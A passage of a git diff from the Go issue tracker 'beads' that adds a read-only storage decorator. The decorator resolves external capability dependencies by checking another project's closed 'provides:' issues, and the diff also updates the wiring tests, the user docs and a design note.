main.go's PersistentPreRunE so the chain composition is // unit-testable — the bug this PR fixes was a missing WrapStorage call, @@ -24,12 +31,31 @@ func wireStorageDecorators(store storage.DoltStorage, hookRunner *hooks.Runner, return nil } store = telemetry.WrapStorage(store) + store = wireExternalDependencyPolicy(store) if hookRunner != nil && !hooksDisabled { store = storage.NewHookFiringStore(store, hookRunner) } return store } +// wireExternalDependencyPolicy applies only the read/guard policy. Routed +// stores must use this without inheriting the caller's hooks or telemetry. +func wireExternalDependencyPolicy(store storage.DoltStorage) storage.DoltStorage { + if store == nil { + return nil + } + return externaldeps.New( + store, + func(project externaldeps.ProjectName) (string, bool) { + path := config.ResolveExternalProjectPath(string(project)) + return path, path != "" + }, + func(ctx context.Context, projectRoot string) (storage.DoltStorage, error) { + return newReadOnlyStoreFromConfig(ctx, filepath.Join(projectRoot, ".beads")) + }, + ) +} + // waitForCommandHooks lets the hooks this command fired finish before the // process exits, bounded by the runner's own per-hook budget. // @@ -48,3 +74,16 @@ func waitForCommandHooks() { } hookRunner.Wait(hookRunner.Timeout()) } + +func wireExternalDependencyUOWProvider(provider uow.UnitOfWorkProvider) uow.UnitOfWorkProvider { + return externaldeps.WrapUOWProvider( + provider, + func(project externaldeps.ProjectName) (string, bool) { + path := config.ResolveExternalProjectPath(string(project)) + return path, path != "" + }, + func(ctx context.Context, projectRoot string) (storage.DoltStorage, error) { + return newReadOnlyStoreFromConfig(ctx, filepath.Join(projectRoot, ".beads")) + }, + ) +} diff --git a/cmd/bd/storage_chain_test.go b/cmd/bd/storage_chain_test.go index 9bd22bda1..1f4e6d901 100644 --- a/cmd/bd/storage_chain_test.go +++ b/cmd/bd/storage_chain_test.go @@ -6,6 +6,7 @@ import ( "github.com/steveyegge/beads/internal/hooks" "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/externaldeps" "github.com/steveyegge/beads/internal/telemetry" ) @@ -42,13 +43,17 @@ func TestWireStorageDecorators_TelemetryOff_HookOn(t *testing.T) { if !ok { t.Fatalf("outer decorator: got %T; want *storage.HookFiringStore", got) } - if inner := hf.Unwrap(); inner.(*stubChainStore) != raw { - t.Errorf("HookFiringStore.Unwrap() should return raw store directly when telemetry off; got %T", inner) + ext, ok := hf.Unwrap().(*externaldeps.Store) + if !ok { + t.Fatalf("second decorator: got %T; want *externaldeps.Store", hf.Unwrap()) + } + if inner := ext.Unwrap(); inner.(*stubChainStore) != raw { + t.Errorf("external dependency policy should wrap raw store directly when telemetry off; got %T", inner) } } -// Asserts the full HookFiringStore → InstrumentedStorage → raw chain that the -// rest of bd depends on for storage spans + bd.storage.* / bd.issue.count +// Asserts the full HookFiringStore → externaldeps.Store → InstrumentedStorage +// → raw chain that the rest of bd depends on for storage spans + bd.storage.* / bd.issue.count // metrics. This is the regression test for the original PR-3475 bug, where // WrapStorage was implemented but never called. func TestWireStorageDecorators_TelemetryOn_HookOn(t *testing.T) { @@ -61,9 +66,13 @@ func TestWireStorageDecorators_TelemetryOn_HookOn(t *testing.T) { if !ok { t.Fatalf("outer decorator: got %T; want *storage.HookFiringStore", got) } - inst, ok := hf.Unwrap().(*telemetry.InstrumentedStorage) + ext, ok := hf.Unwrap().(*externaldeps.Store) if !ok { - t.Fatalf("middle decorator: got %T; want *telemetry.InstrumentedStorage", hf.Unwrap()) + t.Fatalf("second decorator: got %T; want *externaldeps.Store", hf.Unwrap()) + } + inst, ok := ext.Unwrap().(*telemetry.InstrumentedStorage) + if !ok { + t.Fatalf("middle decorator: got %T; want *telemetry.InstrumentedStorage", ext.Unwrap()) } if inner := inst.Unwrap(); inner.(*stubChainStore) != raw { t.Errorf("InstrumentedStorage.Unwrap() should return raw store; got %T", inner) @@ -106,9 +115,13 @@ func TestWireStorageDecorators_TelemetryOn_HookDisabled(t *testing.T) { raw := &stubChainStore{} got := wireStorageDecorators(raw, hooks.NewRunner("/nonexistent"), true) - inst, ok := got.(*telemetry.InstrumentedStorage) + ext, ok := got.(*externaldeps.Store) if !ok { - t.Fatalf("expected *telemetry.InstrumentedStorage when hooks disabled; got %T", got) + t.Fatalf("outer decorator: got %T; want *externaldeps.Store", got) + } + inst, ok := ext.Unwrap().(*telemetry.InstrumentedStorage) + if !ok { + t.Fatalf("expected *telemetry.InstrumentedStorage when hooks disabled; got %T", ext.Unwrap()) } if inner := inst.Unwrap(); inner.(*stubChainStore) != raw { t.Errorf("InstrumentedStorage.Unwrap() should return raw store; got %T", inner) @@ -119,8 +132,12 @@ func TestWireStorageDecorators_TelemetryOff_HookDisabled(t *testing.T) { clearTelemetryEnv(t) raw := &stubChainStore{} got := wireStorageDecorators(raw, hooks.NewRunner("/nonexistent"), true) - if got.(*stubChainStore) != raw { - t.Errorf("with telemetry off and hooks disabled, expected raw store back; got %T", got) + ext, ok := got.(*externaldeps.Store) + if !ok { + t.Fatalf("outer decorator: got %T; want *externaldeps.Store", got) + } + if ext.Unwrap().(*stubChainStore) != raw { + t.Errorf("with telemetry off and hooks disabled, expected external decorator around raw store; got %T", ext.Unwrap()) } } @@ -128,7 +145,11 @@ func TestWireStorageDecorators_NilHookRunner(t *testing.T) { clearTelemetryEnv(t) raw := &stubChainStore{} got := wireStorageDecorators(raw, nil, false) - if got.(*stubChainStore) != raw { - t.Errorf("with telemetry off and nil hookRunner, expected raw store back; got %T", got) + ext, ok := got.(*externaldeps.Store) + if !ok { + t.Fatalf("outer decorator: got %T; want *externaldeps.Store", got) + } + if ext.Unwrap().(*stubChainStore) != raw { + t.Errorf("with telemetry off and nil hookRunner, expected external decorator around raw store; got %T", ext.Unwrap()) } } diff --git a/cmd/bd/vc_recompute_test.go b/cmd/bd/vc_recompute_test.go index 504c7a876..c0ddf598a 100644 --- a/cmd/bd/vc_recompute_test.go +++ b/cmd/bd/vc_recompute_test.go @@ -6,6 +6,7 @@ import ( "github.com/steveyegge/beads/internal/hooks" "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/externaldeps" "github.com/steveyegge/beads/internal/telemetry" ) @@ -70,8 +71,12 @@ func TestBlockedAfterMergeRecomputerFor_PeelsHookAndTelemetryLayers(t *testing.T if !ok { t.Fatalf("outer decorator: got %T; want *storage.HookFiringStore", decorated) } - if _, ok := hf.Unwrap().(*telemetry.InstrumentedStorage); !ok { - t.Fatalf("middle decorator: got %T; want *telemetry.InstrumentedStorage", hf.Unwrap()) + ext, ok := hf.Unwrap().(*externaldeps.Store) + if !ok { + t.Fatalf("second decorator: got %T; want *externaldeps.Store", hf.Unwrap()) + } + if _, ok := ext.Unwrap().(*telemetry.InstrumentedStorage); !ok { + t.Fatalf("middle decorator: got %T; want *telemetry.InstrumentedStorage", ext.Unwrap()) } assertRecomputeReachesRaw(t, decorated, raw) @@ -85,9 +90,13 @@ func TestBlockedAfterMergeRecomputerFor_PeelsHookLayerOnly(t *testing.T) { raw := &recomputingStore{} decorated := wireStorageDecorators(raw, hooks.NewRunner("/nonexistent"), false) - if _, ok := decorated.(*storage.HookFiringStore); !ok { + hf, ok := decorated.(*storage.HookFiringStore) + if !ok { t.Fatalf("outer decorator: got %T; want *storage.HookFiringStore", decorated) } + if _, ok := hf.Unwrap().(*externaldeps.Store); !ok { + t.Fatalf("second decorator: got %T; want *externaldeps.Store", hf.Unwrap()) + } assertRecomputeReachesRaw(t, decorated, raw) } @@ -98,8 +107,8 @@ func TestBlockedAfterMergeRecomputerFor_UndecoratedStore(t *testing.T) { raw := &recomputingStore{} decorated := wireStorageDecorators(raw, nil, true) - if decorated.(*recomputingStore) != raw { - t.Fatalf("expected the raw store back with hooks and telemetry off; got %T", decorated) + if storage.UnwrapStore(decorated) != raw { + t.Fatalf("expected the external decorator to unwrap to the raw store; got %T", storage.UnwrapStore(decorated)) } rs, ok := blockedAfterMergeRecomputerFor(decorated) diff --git a/docs/core-concepts/dependencies.md b/docs/core-concepts/dependencies.md index 512fe22f3..4ef716ac0 100644 --- a/docs/core-concepts/dependencies.md +++ b/docs/core-concepts/dependencies.md @@ -152,11 +152,14 @@ cycles before committing. Dependencies can reference issues in other beads rigs: ```bash -bd dep add local-issue external:other-project:remote-issue +bd dep add local-issue external:other-project:checkout-ready ``` -External dependencies always block. When the remote issue closes, -`bd ready` reflects the change (checked at query time). +Configure the project path under `external_projects`, then label a target +project issue `provides:checkout-ready`. The dependency blocks until an issue +with that label is closed. `bd ready`, `bd blocked`, and `bd dep tree` resolve +the capability at query time; an unconfigured or unavailable project remains +blocking. ## Gates diff --git a/engdocs/design/external-capability-dependencies.md b/engdocs/design/external-capability-dependencies.md new file mode 100644 index 000000000..11d748348 --- /dev/null +++ b/engdocs/design/external-capability-dependencies.md @@ -0,0 +1,63 @@ +# External capability dependencies + +## Problem + +An explicit dependency target of the form +`external::` is not a local issue. The split dependency +schema stores it in `depends_on_external`, so joins that hydrate local issues +correctly omit it. The same omission currently makes an unsatisfied external +blocker invisible to ready-work queries and dependency trees. + +External capability state cannot be materialized safely in `is_blocked`: +shipping happens in another project and does not create a local write that +could refresh the derived column. + +## Decision + +Resolve explicit external references at both storage and server-UOW policy +seams. This keeps direct, routed, and proxied-server commands on one policy. + +The decorator: + +- parses only `external::` references; cross-prefix issue + IDs remain a separate concern; +- groups references by project and opens each configured foreign store once, + read-only, per operation; +- considers a capability satisfied only when the foreign store contains a + closed issue labeled `provides:`; +- treats malformed references, missing configuration, unavailable projects, + and failed foreign reads as unsatisfied; +- emits one stderr warning per unavailable foreign project per command. Foreign + projects in proxied-server mode are currently unsupported by the read-only + opener and therefore remain blocking; +- filters ready and claim candidates, augments blocked output, and appends + synthetic external leaves to dependency trees; +- rejects `parent-child` external edges: hierarchy has no foreign lifecycle + semantics, while scheduling edges have an explicit capability predicate; +- applies the same guard to checked close and batch blocked-state reads. +- leaves non-blocking external relationships visible without allowing them to + gate readiness. + +This is query-time state. There is deliberately no schema migration and no +attempt to persist foreign status in the local Dolt database. + +First-party stores expose a narrow indexed query for explicit external +blocking rows. The decorator resolves those rows and adds unsatisfied source +IDs to `WorkFilter.ExcludeIDs`; the shared ready SQL applies those exclusions +before ordering, pagination, and claim selection. + +## Consistency boundary + +Resolution cannot be atomic across two independent project databases. The +decorator resolves a foreign snapshot, then passes the exclusions into the +existing atomic local `ClaimReadyIssue` operation. A concurrent foreign change +may therefore take effect on the next query, matching the historical SQLite +behavior without weakening local ready-selection or claim safety. + +## Verification + +Regression tests cover unsatisfied and shipped capabilities, fail-closed +resolution (including foreign read failure), non-blocking edges, paginated +ready work, claim selection, blocked output, dependency-tree synthesis, +checked-close and batch guards, and direct/proxied decorator wiring. Existing +storage and CLI suites remain the compatibility gate. diff --git a/internal/storage/dolt/dependencies.go b/internal/storage/dolt/dependencies.go index b909889ea..2c517876f 100644 --- a/internal/storage/dolt/dependencies.go +++ b/internal/storage/dolt/dependencies.go @@ -316,6 +316,18 @@ func (s *DoltStore) GetAllDependencyRecords(ctx context.Context) (map[string][]* return result, err } +// GetExternalBlockingDependencyRecords returns explicit external blockers +// without scanning unrelated graph edges. +func (s *DoltStore) GetExternalBlockingDependencyRecords(ctx context.Context) (map[string][]*types.Dependency, error) { + var result map[string][]*types.Dependency + err := s.withReadTx(ctx, func(tx *sql.Tx) error { + var err error + result, err = issueops.GetExternalBlockingDependencyRecordsInTx(ctx, tx) + return err + }) + return result, err +} + // GetDependencyRecordsForIssues returns dependency records for specific issues. // Delegates to issueops.GetDependencyRecordsForIssuesInTx for shared query logic. func (s *DoltStore) GetDependencyRecordsForIssues(ctx context.Context, issueIDs []string) (map[string][]*types.Dependency, error) { diff --git a/internal/storage/dolt/ready_claimer.go b/internal/storage/dolt/ready_claimer.go index 371292d43..66c039da2 100644 --- a/internal/storage/dolt/ready_claimer.go +++ b/internal/storage/dolt/ready_claimer.go @@ -26,6 +26,13 @@ func NewReadyClaimer(store *DoltStore) (issueops.ReadyClaimer, error) { type readyClaimer struct{ store *DoltStore } +// WakeExpiredDefersAdvisory preserves the backend wake contract for decorators. +func (s *DoltStore) WakeExpiredDefersAdvisory(ctx context.Context) { + s.wakeExpiredDefers(ctx) +} + +var _ storage.ExpiredDeferWaker = (*DoltStore)(nil) + // ClaimNext runs selection, the compare-and-set and hydration in one // transaction, under the claim-family verify-after-write (bd-zccb9) that // ClaimReadyIssue runs: this reaches the same writes, so under a degraded diff --git a/internal/storage/domain/db/dependency.go b/internal/storage/domain/db/dependency.go index 85b174cb3..128202eb7 100644 --- a/internal/storage/domain/db/dependency.go +++ b/internal/storage/domain/db/dependency.go @@ -84,6 +84,9 @@ func (r *dependencySQLRepositoryImpl) Insert(ctx context.Context, dep *types.Dep // on itself") instead of appending the sentinel text. return fmt.Errorf("db: DependencySQLRepository.Insert: %w: %s cannot depend on itself", domain.ErrSelfDependency, dep.IssueID) } + if strings.HasPrefix(dep.DependsOnID, "external:") && dep.Type == types.DepParentChild { + return errors.New("external capability dependencies cannot use parent-child edges") + } metadata := dep.Metadata if metadata == "" { @@ -972,6 +975,14 @@ func (r *dependencySQLRepositoryImpl) GetDependencyRecordsForIssues(ctx context. return out, nil } +func (r *dependencySQLRepositoryImpl) GetExternalBlockingDependencyRecords(ctx context.Context) (map[string][]*types.Dependency, error) { + out, err := issueops.GetExternalBlockingDependencyRecordsInTx(ctx, r.runner) + if err != nil { + return nil, fmt.Errorf("db: DependencySQLRepository.GetExternalBlockingDependencyRecords: %w", err) + } + return out, nil +} + func (r *dependencySQLRepositoryImpl) GetWispDependencyRecordsForIDs(ctx context.Context, wispIDs []string) (map[string][]*types.Dependency, error) { if len(wispIDs) == 0 { return map[string][]*types.Dependency{}, nil diff --git a/internal/storage/domain/dependency.go b/internal/storage/domain/dependency.go index 791d99745..45b96d105 100644 --- a/internal/storage/domain/dependency.go +++ b/internal/storage/domain/dependency.go @@ -174,6 +174,7 @@ type DependencySQLRepository interface { CountEdges(ctx context.Context, req issueops.EdgeCountRequest) (issueops.EdgeCountResult, error) CycleThroughEdges(ctx context.Context, edges [][2]string) (string, error) GetDependencyRecordsForIssues(ctx context.Context, issueIDs []string) (map[string][]*types.Dependency, error) + GetExternalBlockingDependencyRecords(ctx context.Context) (map[string][]*types.Dependency, error) GetWispDependencyRecordsForIDs(ctx context.Context, wispIDs []string) (map[string][]*types.Dependency, error) // WispSourceIDs returns the subset of ids that are currently wisps, in one @@ -236,6 +237,7 @@ type DependencyUseCase interface { // closes, or "" when none does. Each pair is (source, target). CycleThroughEdges(ctx context.Context, edges [][2]string) (string, error) GetIssueDependencyRecords(ctx context.Context, issueIDs []string) (map[string][]*types.Dependency, error) + GetExternalBlockingDependencyRecords(ctx context.Context) (map[string][]*types.Dependency, error) GetWispDependencyRecords(ctx context.Context, wispIDs []string) (map[string][]*types.Dependency, error) @@ -812,6 +814,14 @@ func (u *dependencyUseCaseImpl) GetIssueDependencyRecords(ctx context.Context, i return out, nil } +func (u *dependencyUseCaseImpl) GetExternalBlockingDependencyRecords(ctx context.Context) (map[string][]*types.Dependency, error) { + out, err := u.depRepo.GetExternalBlockingDependencyRecords(ctx) + if err != nil { + return nil, fmt.Errorf("GetExternalBlockingDependencyRecords: %w", err) + } + return out, nil +} + func (u *dependencyUseCaseImpl) GetWispDependencyRecords(ctx context.Context, wispIDs []string) (map[string][]*types.Dependency, error) { if len(wispIDs) == 0 { return map[string][]*types.Dependency{}, nil diff --git a/internal/storage/embeddeddolt/external_dependencies_test.go b/internal/storage/embeddeddolt/external_dependencies_test.go new file mode 100644 index 000000000..9d5487b9a --- /dev/null +++ b/internal/storage/embeddeddolt/external_dependencies_test.go @@ -0,0 +1,137 @@ +//go:build cgo + +package embeddeddolt_test + +import ( + "context" + "path/filepath" + "slices" + "testing" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/embeddeddolt" + "github.com/steveyegge/beads/internal/storage/externaldeps" + "github.com/steveyegge/beads/internal/types" +) + +type nonClosingStore struct { + storage.DoltStorage +} + +func (nonClosingStore) Close() error { return nil } + +func TestExternalCapabilityBlocksEmbeddedReadyAndAppearsInTree(t *testing.T) { + local := openExternalDependencyStore(t, "local") + remote := openExternalDependencyStore(t, "remote") + ctx := t.Context() + + source := &types.Issue{ + ID: "local-source", + Title: "Ship checkout", + Status: types.StatusOpen, + Priority: 1, + IssueType: types.TypeTask, + } + if err := local.CreateIssue(ctx, source, "tester"); err != nil { + t.Fatalf("CreateIssue(local): %v", err) + } + const externalRef = "external:remote:payments" + if err := local.AddDependency(ctx, &types.Dependency{ + IssueID: source.ID, + DependsOnID: externalRef, + Type: types.DepBlocks, + }, "tester"); err != nil { + t.Fatalf("AddDependency: %v", err) + } + + wrapped := externaldeps.New( + local, + func(project externaldeps.ProjectName) (string, bool) { + return string(project), project == "remote" + }, + func(_ context.Context, _ string) (storage.DoltStorage, error) { + return nonClosingStore{DoltStorage: remote}, nil + }, + ) + + rawReady, err := local.GetReadyWork(ctx, types.WorkFilter{}) + if err != nil { + t.Fatalf("raw GetReadyWork: %v", err) + } + if got := embeddedIssueIDs(rawReady); !slices.Equal(got, []string{source.ID}) { + t.Fatalf("raw ready IDs = %v, want stored external edge to require decorator policy", got) + } + + ready, err := wrapped.GetReadyWork(ctx, types.WorkFilter{}) + if err != nil { + t.Fatalf("wrapped GetReadyWork: %v", err) + } + if len(ready) != 0 { + t.Fatalf("wrapped ready IDs = %v, want external blocker enforced", embeddedIssueIDs(ready)) + } + + blocked, err := wrapped.GetBlockedIssues(ctx, types.WorkFilter{}) + if err != nil { + t.Fatalf("GetBlockedIssues: %v", err) + } + if len(blocked) != 1 || !slices.Equal(blocked[0].BlockedBy, []string{externalRef}) { + t.Fatalf("blocked = %+v, want external blocker", blocked) + } + + tree, err := wrapped.GetDependencyTree(ctx, source.ID, 10, false, false) + if err != nil { + t.Fatalf("GetDependencyTree: %v", err) + } + if len(tree) != 2 || tree[1].ID != externalRef || tree[1].Status != types.StatusOpen { + t.Fatalf("tree = %+v, want open synthetic external leaf", tree) + } + + provider := &types.Issue{ + ID: "remote-provider", + Title: "Provide payments", + Status: types.StatusOpen, + Priority: 1, + IssueType: types.TypeTask, + } + if err := remote.CreateIssue(ctx, provider, "tester"); err != nil { + t.Fatalf("CreateIssue(remote): %v", err) + } + if err := remote.AddLabel(ctx, provider.ID, "provides:payments", "tester"); err != nil { + t.Fatalf("AddLabel(provides): %v", err) + } + if err := remote.CloseIssue(ctx, provider.ID, "shipped", "tester", ""); err != nil { + t.Fatalf("CloseIssue(provider): %v", err) + } + + claimed, err := wrapped.ClaimReadyIssue(ctx, types.WorkFilter{}, "worker") + if err != nil { + t.Fatalf("ClaimReadyIssue after ship: %v", err) + } + if claimed == nil || claimed.ID != source.ID { + t.Fatalf("claimed = %+v, want %s", claimed, source.ID) + } +} + +func openExternalDependencyStore(t *testing.T, prefix string) *embeddeddolt.EmbeddedDoltStore { + t.Helper() + store, err := embeddeddolt.Open(t.Context(), filepath.Join(t.TempDir(), ".beads"), prefix, "main") + if err != nil { + t.Fatalf("Open(%s): %v", prefix, err) + } + t.Cleanup(func() { _ = store.Close() }) + if err := store.SetConfig(t.Context(), "issue_prefix", prefix); err != nil { + t.Fatalf("SetConfig(%s): %v", prefix, err) + } + if err := store.Commit(t.Context(), "bd init"); err != nil { + t.Fatalf("Commit(%s): %v", prefix, err) + } + return store +} + +func embeddedIssueIDs(issues []*types.Issue) []string { + ids := make([]string, 0, len(issues)) + for _, issue := range issues { + ids = append(ids, issue.ID) + } + return ids +} diff --git a/internal/storage/embeddeddolt/list_queries.go b/internal/storage/embeddeddolt/list_queries.go index c08209608..a165b074e 100644 --- a/internal/storage/embeddeddolt/list_queries.go +++ b/internal/storage/embeddeddolt/list_queries.go @@ -82,6 +82,16 @@ func (s *EmbeddedDoltStore) GetAllDependencyRecords(ctx context.Context) (map[st return result, err } +func (s *EmbeddedDoltStore) GetExternalBlockingDependencyRecords(ctx context.Context) (map[string][]*types.Dependency, error) { + var result map[string][]*types.Dependency + err := s.withConn(ctx, false, func(tx *sql.Tx) error { + var err error + result, err = issueops.GetExternalBlockingDependencyRecordsInTx(ctx, tx) + return err + }) + return result, err +} + func (s *EmbeddedDoltStore) GetDependencyRecordsForIssues(ctx context.Context, issueIDs []string) (map[string][]*types.Dependency, error) { var result map[string][]*types.Dependency err := s.withConn(ctx, false, func(tx *sql.Tx) error { diff --git a/internal/storage/embeddeddolt/queries.go b/internal/storage/embeddeddolt/queries.go index 16271fce2..a30c7d89a 100644 --- a/internal/storage/embeddeddolt/queries.go +++ b/internal/storage/embeddeddolt/queries.go @@ -9,10 +9,18 @@ import ( "fmt" "os" + "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/types" ) +// WakeExpiredDefersAdvisory preserves the backend wake contract for decorators. +func (s *EmbeddedDoltStore) WakeExpiredDefersAdvisory(ctx context.Context) { + s.wakeExpiredDefers(ctx) +} + +var _ storage.ExpiredDeferWaker = (*EmbeddedDoltStore)(nil) + // wakeExpiredDefers runs the lazy defer-wake sweep (issueops.WakeExpiredDefersInTx) // in its own write transaction before a ready-work read. Advisory by contract: // a ready listing must never fail because the sweep could not run — strict diff --git a/internal/storage/externaldeps/decorator.go b/internal/storage/externaldeps/decorator.go new file mode 100644 index 000000000..29f0e7f8c --- /dev/null +++ b/internal/storage/externaldeps/decorator.go @@ -0,0 +1,544 @@ +package externaldeps + +import ( + "context" + "fmt" + "slices" + "sort" + "strings" + "sync" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" +) + +// Store decorates a local store with query-time external capability handling. +type Store struct { + storage.DoltStorage + inner storage.DoltStorage + locateProject ProjectLocator + openProject StoreOpener + warnProject func(ProjectName) + warnMu sync.Mutex + warned map[ProjectName]struct{} +} + +// New constructs an external-capability-aware storage decorator. +func New(inner storage.DoltStorage, locateProject ProjectLocator, openProject StoreOpener) *Store { + return &Store{ + DoltStorage: inner, + inner: inner, + locateProject: locateProject, + openProject: openProject, + warnProject: defaultProjectWarning, + warned: make(map[ProjectName]struct{}), + } +} + +// Unwrap exposes the decorated store to storage.UnwrapStore. +func (s *Store) Unwrap() storage.DoltStorage { return s.inner } + +// IssueLifecycle preserves the external close policy for public lifecycle +// operations. Returning the inner lifecycle directly would promote around the +// decorator when bd close or bd update uses the lifecycle seam. +func (s *Store) IssueLifecycle() (publicops.Lifecycle, error) { + inner, err := s.inner.IssueLifecycle() + if err != nil { + return nil, err + } + return &lifecycle{inner: inner, policy: s}, nil +} + +type lifecycle struct { + inner publicops.Lifecycle + policy *Store +} + +var _ publicops.Lifecycle = (*lifecycle)(nil) + +func (l *lifecycle) Create(ctx context.Context, request publicops.CreateRequest) (publicops.CreateResult, error) { + return l.inner.Create(ctx, request) +} + +func (l *lifecycle) Update(ctx context.Context, request publicops.UpdateRequest) (publicops.UpdateResult, error) { + if request.Patch.Status.Set && string(request.Patch.Status.Value) == string(types.StatusClosed) { + if err := l.policy.guardExternalClose(ctx, request.IssueID, request.ForceClosePolicy); err != nil { + return publicops.UpdateResult{}, err + } + } + return l.inner.Update(ctx, request) +} + +func (l *lifecycle) Close(ctx context.Context, request publicops.CloseRequest) (publicops.CloseResult, error) { + if err := l.policy.guardExternalClose(ctx, request.IssueID, request.Force); err != nil { + return publicops.CloseResult{}, err + } + return l.inner.Close(ctx, request) +} + +func (l *lifecycle) Reopen(ctx context.Context, request publicops.ReopenRequest) (publicops.ReopenResult, error) { + return l.inner.Reopen(ctx, request) +} + +func (s *Store) guardExternalClose(ctx context.Context, id string, force bool) error { + if force { + return nil + } + state, err := s.loadBlockingState(ctx) + if err != nil { + return err + } + if blockers := state.refsByIssue[id]; len(blockers) > 0 { + return fmt.Errorf("%w: %s is blocked by %v", storage.ErrCloseBlocked, id, blockers) + } + return nil +} + +func (s *Store) warnUnresolvedProject(project ProjectName) { + s.warnMu.Lock() + defer s.warnMu.Unlock() + if _, warned := s.warned[project]; warned { + return + } + s.warned[project] = struct{}{} + if s.warnProject != nil { + s.warnProject(project) + } +} + +type blockingState struct { + refsByIssue map[string][]string +} + +func (s *Store) loadBlockingState(ctx context.Context) (blockingState, error) { + queryStore, ok := storage.UnwrapStore(s.inner).(storage.ExternalDependencyQueryStore) + var allDeps map[string][]*types.Dependency + var err error + if ok { + allDeps, err = queryStore.GetExternalBlockingDependencyRecords(ctx) + } else { + // Compatibility fallback for third-party stores that predate the narrow + // optional capability. First-party stores implement the indexed query. + allDeps, err = s.inner.GetAllDependencyRecords(ctx) + } + if err != nil { + return blockingState{}, fmt.Errorf("external dependencies: list blocking records: %w", err) + } + + return s.blockingStateFromRecords(ctx, allDeps) +} + +func (s *Store) blockingStateFromRecords(ctx context.Context, allDeps map[string][]*types.Dependency) (blockingState, error) { + refs := make([]reference, 0) + refsByIssue := make(map[string][]string) + for issueID, deps := range allDeps { + for _, dep := range deps { + if dep == nil || !dep.Type.IsBlockingEdge() || !isExternalReference(dep.DependsOnID) { + continue + } + refs = append(refs, parseReference(dep.DependsOnID)) + refsByIssue[issueID] = appendUnique(refsByIssue[issueID], dep.DependsOnID) + } + } + + satisfied, err := s.resolveReferences(ctx, refs) + if err != nil { + return blockingState{}, fmt.Errorf("external dependencies: resolve blockers: %w", err) + } + for issueID, issueRefs := range refsByIssue { + unsatisfied := issueRefs[:0] + for _, ref := range issueRefs { + if !satisfied[ref] { + unsatisfied = append(unsatisfied, ref) + } + } + if len(unsatisfied) == 0 { + delete(refsByIssue, issueID) + continue + } + refsByIssue[issueID] = unsatisfied + } + + return blockingState{refsByIssue: refsByIssue}, nil +} + +// GetReadyWork excludes sources with unsatisfied external blocking edges. +func (s *Store) GetReadyWork(ctx context.Context, filter types.WorkFilter) ([]*types.Issue, error) { + state, err := s.loadBlockingState(ctx) + if err != nil { + return nil, err + } + filter = withExternalExclusions(filter, state.refsByIssue) + return s.inner.GetReadyWork(ctx, filter) +} + +// GetReadyWorkWithCounts is the counts-bearing equivalent of GetReadyWork. +func (s *Store) GetReadyWorkWithCounts(ctx context.Context, filter types.WorkFilter) ([]*types.IssueWithCounts, error) { + state, err := s.loadBlockingState(ctx) + if err != nil { + return nil, err + } + filter = withExternalExclusions(filter, state.refsByIssue) + return s.inner.GetReadyWorkWithCounts(ctx, filter) +} + +func withExternalExclusions(filter types.WorkFilter, refsByIssue map[string][]string) types.WorkFilter { + filter.ExcludeIDs = slices.Clone(filter.ExcludeIDs) + newIDs := make([]string, 0, len(refsByIssue)) + for issueID := range refsByIssue { + if !slices.Contains(filter.ExcludeIDs, issueID) { + newIDs = append(newIDs, issueID) + } + } + sort.Strings(newIDs) + filter.ExcludeIDs = append(filter.ExcludeIDs, newIDs...) + return filter +} + +// CountReadyWork reports the externally filtered ready count. +func (s *Store) CountReadyWork(ctx context.Context, filter types.WorkFilter) (int, error) { + filter.Limit = 0 + filter.Offset = 0 + state, err := s.loadBlockingState(ctx) + if err != nil { + return 0, err + } + filter = withExternalExclusions(filter, state.refsByIssue) + if counter, ok := storage.UnwrapStore(s.inner).(storage.ReadyWorkCounter); ok { + return counter.CountReadyWork(ctx, filter) + } + issues, err := s.inner.GetReadyWork(ctx, filter) + if err != nil { + return 0, err + } + return len(issues), nil +} + +// ClaimReadyIssue resolves external blockers before using the existing local +// compare-and-swap claim operation. Cross-project state cannot be atomic with +// the local claim, but local claim ownership remains race-safe. +func (s *Store) ClaimReadyIssue(ctx context.Context, filter types.WorkFilter, actor string) (*types.Issue, error) { + state, err := s.loadBlockingState(ctx) + if err != nil { + return nil, err + } + filter = withExternalExclusions(filter, state.refsByIssue) + return s.inner.ClaimReadyIssue(ctx, filter, actor) +} + +// GetBlockedIssues adds unsatisfied external refs to local blocker details and +// includes sources whose only blockers are external. +func (s *Store) GetBlockedIssues(ctx context.Context, filter types.WorkFilter) ([]*types.BlockedIssue, error) { + base, err := s.inner.GetBlockedIssues(ctx, unpagedBlockedFilter(filter)) + if err != nil { + return nil, err + } + state, err := s.loadBlockingState(ctx) + if err != nil { + return nil, err + } + + result := make([]*types.BlockedIssue, 0, len(base)+len(state.refsByIssue)) + byID := make(map[string]*types.BlockedIssue, len(base)+len(state.refsByIssue)) + for _, item := range base { + if item == nil { + continue + } + clone := *item + clone.BlockedBy = slices.Clone(item.BlockedBy) + for _, ref := range state.refsByIssue[item.ID] { + clone.BlockedBy = appendUnique(clone.BlockedBy, ref) + } + clone.BlockedByCount = len(clone.BlockedBy) + result = append(result, &clone) + byID[item.ID] = &clone + } + + missingIDs := make([]string, 0, len(state.refsByIssue)) + for issueID := range state.refsByIssue { + if byID[issueID] == nil { + missingIDs = append(missingIDs, issueID) + } + } + parentDeps := make(map[string][]*types.Dependency) + if filter.ParentID != nil && len(missingIDs) > 0 { + parentDeps, err = s.inner.GetDependencyRecordsForIssues(ctx, missingIDs) + if err != nil { + return nil, fmt.Errorf("external dependencies: load blocked parent edges: %w", err) + } + } + filteredMissingIDs := missingIDs[:0] + for _, issueID := range missingIDs { + if matchesParentFilter(issueID, filter.ParentID, parentDeps) { + filteredMissingIDs = append(filteredMissingIDs, issueID) + } + } + issues, err := s.inner.GetIssuesByIDs(ctx, filteredMissingIDs) + if err != nil { + return nil, fmt.Errorf("external dependencies: load blocked sources: %w", err) + } + for _, issue := range issues { + if issue == nil || issue.Status == types.StatusClosed || issue.Status == types.StatusPinned { + continue + } + refs := slices.Clone(state.refsByIssue[issue.ID]) + blocked := &types.BlockedIssue{ + Issue: *issue, + BlockedByCount: len(refs), + BlockedBy: refs, + } + result = append(result, blocked) + } + + return finishBlockedIssues(result, filter) +} + +// unpagedBlockedFilter lets the external policy combine local and external +// blockers 